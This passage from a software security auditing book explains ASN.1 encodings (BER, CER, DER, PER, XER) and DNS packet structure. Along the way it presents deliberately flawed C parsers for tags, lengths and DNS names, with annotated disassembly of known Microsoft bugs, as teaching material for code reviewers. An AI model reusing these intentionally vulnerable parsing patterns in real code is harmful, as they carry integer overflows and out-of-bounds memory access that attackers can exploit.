There's no tag value for choices because they are used when several different types can be supplied in the data stream, so choice values are untagged. Basic Encoding Rules The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 983 Basic Encoding Rules (BER) defines a method for encoding ASN.1 data suitable for transmission across the network. It's a deliberately ambiguous standardthat is, it allows objects to be encoded in several different ways. The rules were invented with this flexibility in mind so they can deal with different situations where ASN.1 might be used. Some encodings are more useful when objects are small and need to be easy to traverse; other encodings are more suited to applications that transmit large objects. The BER specification describes BER-encoded data as consisting of four components, described in the following sections: an identifier, a length, some content data, and an end-of-contents (EOC) sequence. Identifier The identifier field represents the tag of the data type being processed. The first byte comprises several fields, as shown in Figure 16-14. Figure 16-14. BER identifier fields The fields in this byte are as follows.  Class (2 bits) The class of the data type, which can be universal (0), application (1), context-specific (2), or private (3).  P/C (1 bit) Indicates whether the field is primitive (value of 0) or constructed (value of 1).  Tag number (5 bits) The actual tag value. If the tag value is less than or equal to 30, it's encoded as a normal byte value in the lower 5 bits. If the tag value is larger than 30, all tag bits are set to 1, and the tag value is specified by a series of bytes following the tag byte. Each byte uses the lower 7 bits to represent part of the tag value and the top bit to indicate whether any more bytes follow. So if all tag bits are set to 1, an indefinite number of tag bytes follow, and processing stops when a byte with a clear top bit is encountered. To encode the value 0x3333, for example, the 0xFF 0xD6 0x33 byte sequence would be used. The lead byte can vary, depending on whether the value is universal or private, constructed, or primitive. Length The length field, as the name suggests, indicates how many bytes are in the current object. It can indicate a definite or an indefinite length for the object. An indefinite length means the object length is unknown and is terminated with a special EOC The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 984 sequence. According to the specification (X.690-0207), an indefinite length field should be used only for a constructed sequence (see the explanation of primitive and constructed types after Table 16-1). An indefinite length is indicated simply by a single-length byte with the top bit set and all other bits clear (so the value of the byte is 0x80). The rules for indicating a definite length are as follows:  For a length value of 127 or less, a single octet is supplied, in which the length value is supplied in the lower 7 bits and the top bit is clear. For example, to express a length of 100, the byte 0x64 would be supplied.  For a length value larger than 127, the top bit is set and the low 7 bits are used to indicate how many length octets follow. For example, to indicate a length of 65,535, you would supply the following bytes: 0x82 0xFF 0xFF. Contents The contents depend on the tag type indicating what type of data the object contains. End of Character The EOC field is required only if this object has an indefinite length. The EOC sequence is two consecutive bytes that are both zero (0x00 0x00). Canonical Encoding and Distinguished Encoding Distinguished Encoding Rules (DER) and Canonical Encoding Rules (CER) are subsets of BER. As mentioned, BER is ambiguous in some ways. For example, you could encode a length of 100 in a few different ways, as shown in the following list:  0x64 Single-byte encoding  0x81 0x64 Multi-byte encoding  0x82 0x00 0x64 Multi-byte encoding CER and DER limit the options BER specifies for various purposes, as explained in the following sections. Canonical Encoding Rules Canonical Encoding Rules (CER) are intended to be used when large objects are being transmitted; when all the object data isn't available; or when object sizes aren't known at transmission time. CER uses the same encoding rules as BER, with the following provisions:  Constructed types must use an indefinite length encoding.  Primitive types must use the fewest encoding bytes necessary to express the object size. For example, an object with a length of 100 can give the length only as a single byte, 0x64. Any other length expressions are illegal. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 985 Restrictions are also imposed on string and set encodings, but they aren't covered here. For more information, see Chapter 9(? [????.]) of the X.690-207 standard. Distinguished Encoding Rules Distinguished Encoding Rules (DER) are intended to be used for smaller objects in which all bytes for objects are available and the lengths of objects are known at transmission time. DER imposes the following provisions on the basic BER encoding rules:  All objects must have a definite length encoding; there are no indefinite length objects (and, therefore, no EOC sequences on objects encoded with DER).  The length encoding must use the fewest bytes necessary for expressing a size (as with CER). Vulnerabilities in BER, CER, and DER Implementations Now that you know how objects are encoded in BER, you might have an idea of possible vulnerabilities in typical implementations. As you can see, BER implementations can be complex, and there are many small pitfalls that can happen easily. The following sections explain a few of the most common. Tag Encodings Tags contain multiple fields, some combinations of which are illegal in certain incarnations of BER. For example, in CER, an octet string of less than or equal to 1,000 bytes must be encoded using a primitive form rather than a constructed form. Is this rule really enforced? Depending on what code you're examining, this rule could be important. For example, an IDS decoding ASN.1 data might apply CER rules strictly, decide this data is erroneous input, and not continue to analyze object data; the end implementation, on the other hand, might be more relaxed and accept the input. Apart from these situations, failure to adhere to the specification strictly might not cause security-relevant consequences. Another potential issue with tag encodings is that you might trick an implementation into reading more bytes than are available in the data stream being read, as shown in this example: int decode_tag(unsigned char *ptr, int *length, int *constructed, int *class) { int c, tagnum; *length = 1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 986 c = *ptr++; *class = (c & C0) >> 6; *constructed = (c & 0x20) ? 1 : 0; tagnum = c & 0x1F; if(tagnum != 31) return tagnum; for(tagnum = 0, (*length)++; (c = *ptr) & 0x80; ptr++, (*length)++){ tagnum <<= 7; tagnum |= (c & 0x7F); } return tagnum; } int decode_asn1_object(unsigned char *buffer, size_t length) { int constructed, header_length, class, tag; tag = decode_tag(buffer, &header_length, &constructed, &class); length -= header_length; buffer += header_length; ... do more stuff ... } This code has a simple error; the header_length can be made longer than length in decode_asn1_object(), which leads to an integer underflow on length. This error results in processing random data from the process heap or possibly memory corruption. Length Encodings Many ASN.1 vulnerabilities have been uncovered in length encoding in the past. A few things might go wrong in this process. First, in multibyte length encodings, the first byte indicates how many length bytes follow. You might run into vulnerabilities if the length field is made to be more bytes than are left in the data stream (similar to the tag encoding vulnerability examined previously). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 987 Second, when using the extended length-encoding value, you can specify 32-bit integers; as you already know, doing so can lead to all sorts of problems, usually integer overflows or signed issues. Integer overflows are common when the length value is rounded before an allocation is made. For example, eEye discovered this overflow in the Microsoft ASN.1 implementation. Some annotated assembly code taken from the eEye advisory (www.eeye.com/html/research/advisories/AD20040210-2.html) is shown: 76195338 mov eax, [ebp-18h] ; = length of simple bit string 7619533B cmp eax, ebx ; (EBX = 0) 7619533D jz short 7619539A ; skip this bit string if empty 7619533F cmp [ebp+14h], ebx ; = no-copy flag 76195342 jnz short 761953AF ; don't concatenate if no-copy 76195344 mov ecx, [esi] ; = count of accumulated bits 76195346 lea eax, [ecx+eax+7] ; *** INTEGER OVERFLOW *** 7619534A shr eax, 3 ; div by 8 to get size in bytes 7619534D push eax 7619534E push dword ptr [esi+4] 76195351 push dword ptr [ebp-4] 76195354 call DecMemReAlloc ; allocates a zero-byte block In this code, the 32-bit length taken from the ASN.1 header (stored in eax in this code) is added to the amount of accumulated (already read) bytes plus 7. The data is a bit string, so you need to add 7 and then divide by 8 to find the number of bytes required (because lengths are specified in bits for a bit string). Triggering an integer overflow causes DecMemReAlloc() to allocate a 0-byte block, which isn't adequate to hold the amount of data subsequently copied into it. Signed issues are also likely in ASN.1 length interpreting. OpenSSL used to contain a number of vulnerabilities of this type, as discussed in Chapter 6(? [????.]) in the section on signed integer vulnerabilities. Packed Encoding Rules (PER) Packed Encoding Rules (PER) is quite different from the BER encoding scheme you've already seen. It's designed as a more compact alternative to BER. PER can represent data objects by using bit fields rather than bytes as the basic data unit. PER can be used only to encode values of a single ASN.1 type. ASN.1 objects encoded with PER consist of three fields described in the following sections: preamble, length, and contents. Preamble The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 988 A preamble is a bit map used when dealing with sequence, set, and set-of data types. It indicates which optional fields of a complex structure are present. Length The length encoding for data elements in PER is a little more complex than in BER because you're dealing with bit fields, and a few more rules are involved in PER's length-decoding specification. The length field can represent a size in bytes, bits, or a count of data elements, depending on the type of data being encoded. There are two types of encoding: aligned variants (those aligned on octet boundaries) and unaligned variants (those not necessarily aligned on octet boundaries). Lengths for data fields can also be constrained (by enforcing a maximum and minimum length), semiconstrained (enforcing only a maximum or minimum length), or unconstrained (allowing any length of data to be specified). An important note: The program decoding a PER bit stream must already know the structure of an incoming ASN.1 stream so that it knows how to decode the length. The program must know whether the length data represents a constrained or unconstrained length and what the boundaries are for constrained lengths; otherwise, it's impossible to know the true value the length represents. Unconstrained Lengths For an unconstrained length, the following encoding is used:  If the length to be encoded is less than 128, you can encode it in a single byte, with the top bit set to 0 and the lower 7 bits used to encode the length.  If the length is larger than 127 but less than 16KB, two octets are used; the first octet has the two most significant bits set to 1 and 0. The length is then encoded in the remaining 6 bits of the first octet and the entire second octet.  If the length is 16KB or larger, a single octet is supplied with the two most significant bits set to 1 and the lower 6 bits encoding a value from 1 to 4. That value is then multiplied by 16KB to find the real length, so a maximum of 64KB can be represented with this one byte. Because lengths can be larger than that or be a value that's not a multiple of 16KB, any remaining data can follow this length-value pair by using the same encoding rules. So a value of 64KB + 2 would be split up into two length-value fields, one with a length of 64KB followed by 64KB of data and the next field with a length of 2 followed by 2 bytes of data. Constrained and Semiconstrained Lengths A constrained length is encoded as a bit field; its size varies depending on the range of lengths that can be supplied. There are several different ways to encode constrained lengths, depending on the range. The length is encoded as "length lower The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 989 bound," which conserves space and prevents users from being able to specify illegal length values for constrained numbers. In general, a constrained length is encoded by determining the range of values (per the ASN.1 specification for the data being transmitted), and then using a bit field that's the exact size required to represent that range. For example, say a field can be between 1,000 and 1,008 bytes. The range of lengths that can be supplied is 8, so the bit field would be 3 bits. Note This discussion is a slight oversimplification of how constrained lengths are encoded, but it's fine for the purposes of this chapter. Interested readers can refer to Clause 10.5 of the PER specification (X.691-0207) for full details. Vulnerabilities in PER PER implementations can have a variety of integer-related issues, as in BER. The problems in PER are a little more restricted, however, especially for constrained values. Even for unconstrained lengths, you're limited to sending sequences of 64KB chunks, which can prevent integer overflows from occurring. Implementations that make extensive use of 16-bit integers are definitely at high risk, however, as they can be made to wrapparticularly because the length attribute might represent a count of elements (so an allocation would multiply the count by the size of each element). Errors in decoding lengths could also result in integer overflows of 16-bit integers. Specifically, unconstrained lengths allow you to specify large blocks of data in 64KB chunks, and each chunk has a size determined by getting the bottom 6 bits of the octet and multiplying it by 16KB. You're supposed to encode only a value of 1 to 4, but the implementation might not enforce this rule, as in the following example: #define LENGTH_16K (1024 * 16) unsigned short decode_length(PER_BUFFER *buffer) { if(GetBits(buffer,1) == 0) return GetBits(buffer, 7); if(GetBits(buffer,1) == 0) return GetBits(buffer, 14); return GetBits(buffer, 6) * LENGTH_16K; } unsigned char *decode_octetstring(PER_BUFFER *buffer) { unsigned char *bytes; unsigned long length; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 990 length = decode_length(buffer); bytes = (unsigned char *)calloc(length+1, sizeof(unsigned char)); if(!bytes) return NULL; decode_bytes(bytes, buffer, length); return bytes; } In this example, no verification is done to ensure that the low 6 bits of a large object encode only a value between 1 and 4 (inclusive). By specifying a larger value, the multiplication of 16KB causes truncation of the high 16 bits of the result (because decode_length() returns a 16-bit integer). Another thing to be wary of is checking return values incorrectly. Take a look at the previous example modified slightly: #define LENGTH_16K (1024 * 16) int decode_length(PER_BUFFER *buffer) { if(bytes_left(buffer) <= 0) return -1; if(GetBits(buffer,1) == 0) return GetBits(buffer, 7); if(GetBits(buffer,1) == 0){ if(bytes_left(buffer) < 2) return -1; return GetBits(buffer, 14); } return GetBits(buffer, 6) * LENGTH_16K; } unsigned char *decode_octetstring(PER_BUFFER *buffer) { unsigned char *bytes; unsigned long length; length = decode_length(buffer); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 991 bytes = (unsigned char *)calloc(length+1, sizeof(unsigned char)); if(!bytes) return NULL; decode_bytes(bytes, buffer, length); return bytes; } In this example, you can't trigger a 16-bit integer wrap because decode_length() returns an integer; however, the function now returns -1 on error, which isn't checked for. In fact, if an error is returned, the -1 is passed as a length to calloc(). It's then added to 1, resulting in 0 bytes allocated, followed by a large copy in decode_bytes(). XML Encoding Rules XML Encoding Rules (XER) provides a standard for encoding ASN.1 in XML documents. XML is complex markup language, and basic XML rules aren't covered in this section. XER is quite different from the other encoding formats; it's a textual representation of ASN.1 objects, as opposed to the other encoding formats, which are binary. Therefore, the problems you run into with XER are likely to be far different. Note Should you be confronted with the task of auditing an XER implementation, you'll probably need to analyze the XML implementation to ensure that the code is secure. After all, if the XML parser is broken, it doesn't matter what XER bugs you might fix because the underlying XML parser can be attacked directly. An XER-encoded object consists of two parts: an XML prolog and an XML document element that describes a single ASN.1 object. The XML document element contains the actual ASN.1 object data. It's simply encoded by using standard document element conventions in XML. The XML prolog doesn't have to be used. If it is, it's a standard XML header tag, which might look like this: <?xml version = "1.0" encoding="UTF-8"> XER Vulnerabilities The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 992 The most likely vulnerabilities in XER are obviously text-based errorssimple buffer overflows or pointer arithmetic bugs. When auditing XER implementations, remember that programs that exchange data by using XER are often exposing a huge codebase to untrusted data. This applies not just to XER but to the XML implementation and encoding schemes for transmitting and storing XML data. In particular, check the UTF encoding schemes for encoding Unicode codepoints, which are discussed in depth in Chapter 8(? [????.]). 8.3.6 Domain Name System The Domain Name System (DNS) is a hierarchical distributed database that implements a global naming scheme for resources available on the Internet. It provides the infrastructure for mapping domain names to IP addresses as well as key data used to interpret email addresses. When people access resources on the Internet, they typically do so by using names such as www.google.com and [email protected]. Their computers use DNS to translate these names into the IP addresses suitable for use with Internet protocols. Obviously, text names are far easier for people to work with than numbers. There's a reason you don't hear people say "Man, 66.35.250.151 has really gone downhill lately." Domain Names and Resource Records The DNS database is organized as a tree data structure, with a single root node at the top (see Figure 16-15 for a very simple example of such a tree). For the sake of clarity, this diagram omits some domains that would be necessary to make the database functional. Every node (and leaf) in the tree is called a domain, and a domain's child nodes are called its subdomains. Each domain has a label, which is a short text name such as com, mail, www, or food. A domain name is a series of labels, separated by dots, that uniquely identifies a node in the tree by tracing the full path from the specified domain to the root domain. For example, the domain name www.google.com specifies a domain labeled www that's a subdomain of google.com. The google.com domain is a subdomain of the com domain, and com is a subdomain of the root domain. The root domain has an empty label, which is usually omitted in casual discussion. In configuration files and technical discussions, however, it's usually represented by a trailing dotwww.google.com., for example. Figure 16-15. DNS tree data structure [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 993 Each domain owns a set of zero or more resource records, which describe attributes of that domain. In general, you work with DNS by asking about a domain name. The response you get is a set of resource records owned by that domain name. Every resource record has five elements, described in Table 16-2. Table 16-2. Resource Record Elements Name Description Format Owner The domain that owns this resource record. Domain name Type A code that identifies which type of resource record it is. 16-bit integer Class A code that identifies the protocol system this resource record belongs to. It's usually IN, for "Internet." 16-bit integer TTL The time to live for this record, specified in seconds. It's how long this resource record should be cached before it's purged. 32-bit integer RDATA The actual contents of the resource record. The way this content is encoded depends on the type and class of the resource record. Set of bytes Name Servers and Resolvers Before you can understand how resource records are used in practice, you need a brief review of name servers and resolvers. The DNS database is distributed among thousands of systems around the world, which are called name servers. The responsibility for maintaining this vast database is divided among the thousands of administrators of these systems; each administrator is responsible for a small piece of the global namespace. To facilitate this division of labor, the domain namespace is split up into sections called zones. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 994 The code responsible for querying DNS on behalf of user applications is called resolver code. It takes a request from a user, tough function such as gethostbyname(), and begins asking name servers it knows about to try to hunt down an authoritative resource record with the answer. There are two basic kinds of name servers: recursive and nonrecursive. Nonrecursive name servers are the most straightforward. They answer questions only about the zones they are responsible for. They have all this information in memory, so they don't need to query the DNS infrastructure for further information. (Note that they also have some delegation and glue information memorized, which you learn about through the rest of this chapter). Nonrecursive name servers give you an authoritative answer or tell you to go ask someone else. Recursive name servers are a different animal. If they don't know the answer to a query offhand, they take it upon themselves to go find the answer. If they are successful, they consolidate all the intermediate findings into a nice concise answer for the client. There are also two kinds of resolvers. A fully functional resolver can interrogate DNS to hunt down answers to user questions. It knows what to do when a nonrecursive name server doesn't have the answer. A stub resolver, on the other hand, is quite comfortable letting a recursive name server do all the work. It just needs the IP address of a local friendly recursive name server, and it relies on that server to handle interrogating the world's name servers. The process of querying DNS for a piece of information often involves making multiple queries to different name servers. To speed up this process, both name servers and resolvers can implement a domain name cache, which stores results of queries locally for limited time frames. In fact, quite a bit of the information stored in DNS is instructions on how caches should manage information. Zones When you take responsibility for a zone, you're expected to set up two or more authoritative name servers. These servers are the ultimate authority for your zone, and DNS servers and resolvers ask your servers when they need resource records from your zone. When a name server or resolver receives a resource record originating from an authoritative name server, it usually caches the resource record for a predetermined length of time. Over time, your zone information gets distributed and cached across the global DNS infrastructure. You control the details of how your zone's information should be cached and refreshed. Zones are created by delegating subdomains. For every zone, there's a single domain that's the closest to the root node, which is the top node of the zone. Figure 16-16 shows an example of a namespace with zone partitions overlaid in gray. (Again, this The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 995 simplified view omits some necessary details.) Look at the zone with a top node of neohapsis.com. At some point, the administrator of the com. zone delegated control of the neohapsis.com. subdomain to the neohapsis administrator. This means requests for any subdomain of neohapsis.com. are under the authoritative purview of the neohapsis.com. zone. You can see that the neohapsis administrator delegated lab.neohapsis.com. to another zone, which might be managed by the lab administrator. Figure 16-16. Example DNS tree with zones [View full size image] Resource Record Conventions There are several different types of resource records, distinguished by their type codes. The most important types, and the general format of their associated RDATA elements, are listed in Table 16-3. Table 16-3. Resource Record Types Type Description RDATA Format (IN Class) A A host address 32-bit IP address NS An authoritative name server Domain name SOA The start of authority record, which contains information about the zone Multiple parameters, including an administrator, an e-mail address, a serial number, and parameters to control caching and synchronization MX A mail exchanger for the domain Numeric preference value followed by a domain name The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 996 Table 16-3. Resource Record Types Type Description RDATA Format (IN Class) CNAME The canonical name of the domain Domain name PTR A pointer to another domain Domain name The top node of any zone is a special node containing meta-information about that zone. It has two key sets of information: the SOA resource record for the zone and authoritative NS resource records for the zone. The SOA record contains information about caching parameters used by all the zone's resource records. The NS records authoritatively state the name servers in charge of the zone. The A resource records are used liberally to assign IP addresses to domain names and can appear in any domain in the zone. CNAME records are used for aliases. If the domain name sol.lab.neohapsis.com is an alias to jm.lab.neohapsis.com, there's a CNAME resource record owned by sol.lab.neohapsis.com. That resource record contains sol's canonical (ultimate) name, which is jm.lab.neohapsis.com. An authoritative name server typically knows all the information necessary to delegate requests to children zones. It conveys this information to other systems, even though it isn't technically authoritative for that information. For example, the name server responsible for the neohapsis.com. zone has NS records for lab.neohapsis.com. They should be identical to the authoritative NS records that the lab.neohapsis.com name server has for its top domain. The NS record points to a domain name, such as sol.lab.neohapsis.com., and the neohapsis.com. zone's server needs to provide a glue resource record that tells a client the IP address for the NS record. So the neohapsis.com. zone's server sends these additional resource records: lab.neohapsis.com. NS sol.lab.neohapsis.com. sol.lab.neohapsis.com. A 7.6.5.23 Basic Use Case Most operating systems have a simple stub resolver that relies on an external recursive name server. The resolver library translates user requests into a DNS query packet that's sent to the preconfigured local recursive name server. This friendly name server attempts to answer the question by referring to its authoritative data and cache and by querying other name servers for information. This process usually takes a series of requests. Figure 16-17 shows how a typical DNS request is handled. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 997 Figure 16-17. DNS request traffic [View full size image] The resolver creates an A query for the domain name www.google.com. and sends the query to its local recursive name server. First, the name server looks at its zones for anything in the domain name that it can answer for authoritatively, but it can't help with this query. Then it looks in its cache for any useful information; for the sake of discussion, assume it comes up empty. The name server is preloaded with a list of root name servers, and it starts sending iterative queries to them. It asks several root name servers for the A record for www.google.com and eventually gets a response. The response doesn't have the answer, however. Instead, it has multiple authority NS resource records that give the domain names for all com. name servers. The response also contains additional A resource records that give the numeric IP addresses for each specified name server. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 998 The name server asks a com. name server for the A record for www.google.com. The response still doesn't have an answer, but this time, the authority section has four NS records for google.com. The additional section has four corresponding A records for the numeric IP addresses of these name servers. Next, the name server asks a google.com. name server for the A record for www.google.com. In the real world, you learn that www.google.com. is an alias because you get an authoritative answer telling you that it's a CNAME for www.l.google.com. However, for this use case, pretend it returns an A record instead. The name server finally gets its A record for www.google.com., and the IP address is 1.2.3.4. The name server then constructs an answer for the resolver code and sends it as a response to the initial recursive query. The resolver code extracts the IP address from the A record and hands it to the user application. DNS Protocol Structure Primer DNS is a binary protocol, so you know that integer issues are going to be involved. A DNS packet is essentially composed of a header followed by four variable-length fields: a questions section, an answer section, an authority section, and an additional section. This basic packet layout is shown in Figure 16-18. Figure 16-18. DNS packet structure The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 999 The header provides information about how the packet should be interpreted. Figure 16-19 shows how it's structured. Figure 16-19. DNS header structure The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1000 The DNS header contains a number of status bit fields and a series of record counts, indicating the number of resource records in the packet. These fields are described in the following list:  Identification (16 bits) This field is used to uniquely identify a query. Responses to a query must have the same ID or they are ignored.  QR (1 bit) This field indicates whether this packet contains a query (0) or response (1).  Opcode (4 bits) This field indicates what type of query is in the message. It's usually 0, meaning a standard query.  AA (1 bit) This field indicates whether the packet contains an authoritative answer.  TC (1 bit) This field indicates whether the answer is truncated because of size constraints.  RD (1 bit) This fieldrecursion desiredsets a query to indicate that the name server should recursively handle the query if possible.  RA (1 bit) This field is set by a name server to indicate whether recursion is available.  Rcode (4 bits) This field is used to indicate an error code (return code).  Questions count (16 bits) This field specifies the number of questions in the questions section; usually one.  Answer count (16 bits) This field specifies the total number of resource records in the answer section.  Authority count (16 bits) This field specifies the total number of NS resource records in the authority section.  Additional count (16 bits) This field specifies the total number of resource records returned in the additional section. The questions section contains a series of question records, and the other sections contain resource records (RRs). The format of a question is shown in Figure 16-20. Figure 16-20. DNS question structure The fields for a question entry in a query are as follows: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1001  Query name (variable) The domain name that's the subject of the query  Type (16 bits) A code indicating the type of resource records the client wants to retrieve  Class (16 bits) The class of resource record (almost always IN) The format of a resource record structure is shown in Figure 16-21. The following list describes the fields for an RR:  Owner name (variable) The domain name to which this resource record belongs  Type (16 bits) The type of resource record  Class (16 bits) The class of resource record (almost always IN)  Time to live (32 bits) The time in seconds this RR can be cached before it should be discarded  RDATA length (unsigned 16-bit int) Length of the following RDATA field in bytes  RDATA (variable) Variable data in a format that depends on the specified type Figure 16-21. DNS resource record data structure DNS Names Names are communicated in many places in DNS packets. These domain names aren't transmitted in a pure text format. Instead, they are transmitted as a series of labels. Each label contains a single-byte length value followed by the data bytes that make up this part of the name. Going back to the previous example of www.google.com, the name would look like Figure 16-22 in the packet. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1002 Figure 16-22. DNS names Each label length byte is followed by the data bytes that make up each domain label. The name ends at the root of the tree, which has an empty label with a length byte of zero. A simple compression scheme using pointers can be used in domain names. If the top two bits are set in a label length byte, the remaining bits of the byte are combined with the next 8 bits from the packet (the next byte). They are used as an offset inside the DNS packet the pointer appears in, beginning at the start of the DNS header. This offset points to domain name information for the rest of the domain name. Using this simple scheme, multiple resource records using the same owner name (or sharing a common suffix) can write the shared name in the packet just one time. They can then refer to this shared name for all other subsequent resource records that refer to the same name. Although this naming scheme is simple and can save valuable space in some places, it certainly complicates the DNS name-decoding scheme. Take a look at a simple (buggy) implementation of name parsing, and the following sections discuss potential problems with it. int parse_dns_name(char *msg, char *name, int namelen, char *dest0, int destlen) { int label_length, offset, bytes_read = 0; char *ptr, *dest = dest0; for(ptr = name; *ptr; ){ label_length = *ptr++; /* check for pointers */ if((label_length & 0xC0) == 0xC0){ offset = ((label_length & 0x3F) << 8) | *ptr; ptr = msg + offset; continue; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1003 if(bytes_read + label_length > destlen) return 1; memcpy(dest, ptr, label_length); ptr += label_length; dest += label_length; bytes_read += label_length; *dest++ = '.'; } if(dest != dest0) dest--; *dest = '\0'; return 0; } This simple implementation of the specification has numerous problems, explained in the following sections, that demonstrate what can go wrong when parsing DNS names. Failure to Deal with Invalid Label Lengths The maximum size for a label is 63 bytes because setting the top 2 bits indicates that the byte is the first in a two-byte pointer, leaving 6 bits to represent a label length. That means any label in which one of the top bits is set but the other one isn't is an invalid length value. The preceding code doesn't adequately deal with this situation, resulting in larger domain labels than the specification allows. In this implementation, this problem carries additional consequences. Consider this line: label_length = *ptr++; Because ptr is signed, you know from Chapter 6(? [????.]) that this assignment sign-extends the value, so label_length can have a negative value. Later a size check is carried out: if(bytes_read + label_length > destlen) return 1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1004 Can you see why this check isn't adequate? In this check, label_length is a negative value, so bytes_read + label_length can be made a negative value. Hence, this length check doesn't catch the problem, and subsequently a large negative memcpy() occurs. Insufficient Destination Length Checks It's easy to overlook the space required for bytes that are appended manually when performing length checks. In the sample code, a period (.) is appended manually after each label. These periods simply aren't checked for in the length check; only label_length bytes are accounted for. In addition, the trailing NUL byte isn't accounted for in much the same way. Insufficient Source Length Checks Just as pointers aren't correctly verified to be in the packet, the code has no verification that source bytes being read are within the packet boundaries. If no NUL byte exists in the name section, this code keeps processing data until it runs past the end of the packetagain resulting in a potential information leak or denial of service. Even when the code does check that source bytes are within bounds, it omits this check when reading the second byte of a pointer or the amount of bytes specified in the label length. Pointer Values Not Verified In Packet When pointers are found, the ptr variable is set to point to the new location to continue reading the domain name. In this sample code, the new pointer is simply set to msg (the beginning of the DNS message) plus the supplied offset. The code never verifies that this new location is actually inside the packet, so it begins reading random memory from the program. This error might result in an information leak or a denial of serviceat any rate, it's not desirable behavior! Special Pointer Values When pointer compression methods are used, you can find a few more oddities. For example, a malicious user might create a loop. Say a pointer is 20 bytes into a DNS message and points to offset 20. If the sample code shown previously processes this pointer, it gets stuck in an infinite loop. This loop would probably end up causing a denial of service by not dealing with other DNS requests (especially if several resolutions were taking place in parallel with corrupt DNS pointers, such as this example). Also, be aware that the code has no real verification that pointers are actually pointing to name data in a DNS message. They might be pointing to a TTL field, a length field, or a pointer byte (such as having a pointer at offset 20 that points to offset 21 in the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1005 packet). Generally, this oversight doesn't cause too many security problems, but it might serve as part of an evasion technique to bypass IDSs. Length Variables There are no 32-bit integers to specify data lengths in the DNS protocol; everything is 8 or 16 bits. Therefore, this section focuses on the issues with 16-bit length fields discussed at the beginning of the chapter. The first issue is sign extensions of 16-bit values. You probably won't see this problem often, although when you do, it's likely a bug is present. Here's a simple example: struct rrecord { char *name; int ttl; short length, type, class; char *data; } #define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) void *mymalloc(size_t length) { return malloc(ROUNDUP(length)); } int parse_rrecord(char *data, int length, struct rrecord *rr) { if(length < 2 + 2 + 2 + 4) return 1; rr->name = parse_name(data, &data); if(!rr->name) return 1; rr->type = get_short(data); data += 2; rr->class = get_short(data); data += 2; rr->ttl = get_long(data); data += 4; rr->length = get_short(data); data += 2; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1006 length -= (4 + 2 + 2 + 2); if(rr->length > length) return 1; rr->data = (char *)mymalloc(rr->length); if(!rr->data) return 1; memcpy(rr->data, data, rr->length); ... } This code shows a typical malloc() implementation that's potentially vulnerable to an integer overflow. Because you're dealing with a protocol containing 16-bit length fields, allocation functions such as malloc() normally aren't dangerous because you can supply only 16-bit lengths, which aren't big enough to cause an integer wrap on a 32-bit integer size parameter. However, in this code, the 16-bit length value is sign-extended, so if the top bit is set, the high 16 bits of the value passed to mymalloc() are also set, allowing users to specify a size big enough to cause an integer wrap. Note This code wouldn't be vulnerable if the length parameter to parse_rrecord() was unsigned because the comparison of rr->length against length would cause rr->length to be sign-extended and then converted to unsigned, which is no doubt larger than length. In addition to sign-extension issues, there are other complications when the program decides to make extensive use of 16-bit variables for sizes or holding length values. Specifically, if 16-bit values are used carelessly, the risk of integer overflows is present (in the same way programs dealing with protocols that have 32-bit lengths are vulnerable to integer overflows). In the context of DNS, any addition or multiplication on a 16-bit variable presents a potential danger if users can specify large 16-bit values. To understand this problem, take a look at a bug that was in Microsoft's DNS-parsing code. To understand the bug, you must first examine the allocation routine used to allocate records. The following code shows the Dns_AllocateRecord() function: .text:76F239EC ; __stdcall Dns_AllocateRecord(x) .text:76F239EC _Dns_AllocateRecord@4 proc near The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1007 .text:76F239EC .text:76F239EC .text:76F239EC arg_4 = word ptr 8 .text:76F239EC .text:76F239EC mov edi, edi .text:76F239EE push ebp .text:76F239EF mov ebp, esp .text:76F239F1 push esi .text:76F239F2 mov si, [ebp+arg_4] .text:76F239F6 movzx eax, si .text:76F239F9 add eax, 18h .text:76F239FC push eax .text:76F239FD call _Dns_AllocZero@4 ; Dns_AllocZero(x) .text:76F23A02 mov edx, eax .text:76F23A04 test edx, edx .text:76F23A06 jz loc_76F2DCB5 .text:76F23A0C push edi .text:76F23A0D push 6 .text:76F23A0F pop ecx .text:76F23A10 xor eax, eax .text:76F23A12 mov edi, edx .text:76F23A14 rep stosd .text:76F23A16 mov [edx+0Ah], si .text:76F23A1A mov eax, edx .text:76F23A1C pop edi .text:76F23A1D .text:76F23A1D loc_76F23A1D: ; CODE XREF: .text:76F2DCBF .text:76F23A1D pop esi .text:76F23A1E pop ebp .text:76F23A1F retn 4 .text:76F23A1F_Dns_AllocateRecord@4 endp This assembly code roughly translates to the following C code: /* sizeof DnsRecord structure is 24 (0x18) bytes */ struct DnsRecord { unsigned short size; /* offset 0x0A */ unsigned char data[0]; /* offset 0x18 */ } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1008 struct DnsRecord *Dns_AllocateRecord(unsigned short size) { struct DnsRecord *record; record = (struct DnsRecord *)Dns_AllocZero(size + sizeof(struct DnsRecord)); if(record == NULL){ SetLastError(8); return NULL; } memset((void *)record, 0, sizeof(struct DnsRecord)); record->size = size; return record; } You might be wondering why a SetLastError() function is in the C code but not in the assembly. The assembly output shows that the code tests the return value of Dns_AllocZero() and then jumps if it returns zero (which happens at location 